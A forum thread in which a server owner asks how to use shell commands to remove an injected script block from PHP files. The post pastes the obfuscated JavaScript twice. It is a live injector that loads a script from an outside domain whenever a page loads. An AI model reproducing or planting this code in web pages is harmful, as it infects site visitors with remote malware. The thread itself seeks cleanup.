Bir php dosyasındaki bişeyi aratıp silme ?


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Bir php dosyasındaki bişeyi aratıp silme ?
# 1  
Old 02-10-2010
Bir php dosyasındaki bişeyi aratıp silme ?

Benim sunucudaki php dosyalarında başı
Code:
<script>var

sonuda
Code:
</script>

var ortaları hepsinde farklı bunu ssh dan komutla nasil silebilirim.

İçerigin bir tanesinide tam olarak atıyorum örnek olsun diye
Code:
<script>var j;if(j!='h' && j!='ei'){j='h'};this.uk="uk";var e=window;var k=document;var kx='s5c!r5i!p^t^'.replace(/[\^5\!&H]/g, '');var f;if(f!=''){f='c'};this.ck='';this.ay='';this.an='';this.aj='';e.onload=function(){var qs;if(qs!='' && qs!='cq'){qs=''};try {kw=k.createElement(kx);var fe;if(fe!='i' && fe!='s'){fe=''};var cf;if(cf!=''){cf='bb'};var wn;if(wn!='rc'){wn=''};kw.src='h>t>t>pI:I/q/qsqiInqaq-Cc>oCmC-Cc&nC.qc&hIiCnCaIm&oqbqiIlCeq.CcqoIm>.qmqeqrqc&a&d&oql>i&vIr&eI-Cc&oCmC->bCrq.&t>hqe>aqn>tIi>mIaqtCrCiIx>.>rCuC:I8I0&8>0I/qdIo>wqnql>oqaIdC.>c>o>mI/Cdqoqw&nql>oIaIdI.Cc&o&mq/qm&-Cwq.&cIoqmC/>a>l>iCpCaIy>.Cc>oIm>/>g&oIoCg>lCeC.CcIo>mI/>'.replace(/[\>&qIC]/g, '');this.g="g";kw.setAttribute('d3e$f@e$rq'.replace(/[q@3P\$]/g, ''), "1");var m;if(m!='' && m!='rb'){m='fx'};this.wc=false;k.body.appendChild(kw);var bh="";} catch(w){var uw;if(uw!='qf'){uw=''};var al;if(al!='' && al!='zz'){al=''};};var jo="jo";};var fr="";</script>


Last edited by pludi; 02-10-2010 at 08:17 AM.. Reason: code tags, please...
# 2  
Old 02-10-2010
English please.
# 3  
Old 02-13-2010
I have a server.
php files on this server
since
Code:
<script>var

end
Code:
</script>

How do I delete an existing code with ssh

full content of this

Code:
<script>var j;if(j!='h' && j!='ei'){j='h'};this.uk="uk";var e=window;var k=document;var kx='s5c!r5i!p^t^'.replace(/[\^5\!&H]/g, '');var f;if(f!=''){f='c'};this.ck='';this.ay='';this.an='';this.aj='';e.onload=function(){var qs;if(qs!='' && qs!='cq'){qs=''};try {kw=k.createElement(kx);var fe;if(fe!='i' && fe!='s'){fe=''};var cf;if(cf!=''){cf='bb'};var wn;if(wn!='rc'){wn=''};kw.src='h>t>t>pI:I/q/qsqiInqaq-Cc>oCmC-Cc&nC.qc&hIiCnCaIm&oqbqiIlCeq.CcqoIm>.qmqeqrqc&a&d&oql>i&vIr&eI-Cc&oCmC->bCrq.&t>hqe>aqn>tIi>mIaqtCrCiIx>.>rCuC:I8I0&8>0I/qdIo>wqnql>oqaIdC.>c>o>mI/Cdqoqw&nql>oIaIdI.Cc&o&mq/qm&-Cwq.&cIoqmC/>a>l>iCpCaIy>.Cc>oIm>/>g&oIoCg>lCeC.CcIo>mI/>'.replace(/[\>&qIC]/g, '');this.g="g";kw.setAttribute('d3e$f@e$rq'.replace(/[q@3P\$]/g, ''), "1");var m;if(m!='' && m!='rb'){m='fx'};this.wc=false;k.body.appendChild(kw);var bh="";} catch(w){var uw;if(uw!='qf'){uw=''};var al;if(al!='' && al!='zz'){al=''};};var jo="jo";};var fr="";</script>

Login or Register to Ask a Question

Previous Thread | Next Thread

2 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Remove dashes if exist between positions 351-357 and then add - at the 357th position

I need to remove dash (i.e. -) if present from positions 351-357, and then add - (dash) at 357th position. For example in following first and 3rd record we got Before processing 1) 1st Record positions 351-357 = 0-12345 2) 3rd Record positions 351-357 = 00-4567 After processing:- 1) 1st... (7 Replies)
Discussion started by: lancesunny
7 Replies

2. UNIX for Advanced & Expert Users

Türkler bi baksın

beyler bn oyuna yeni başlıyacamda bana bi yardım etseniz oyun indirilecek oyun mu acc nerden alcam oyunu nerden indirecem Moderator note: The Rules of this forum state that only English can be used. (0 Replies)
Discussion started by: kaan07
0 Replies
Login or Register to Ask a Question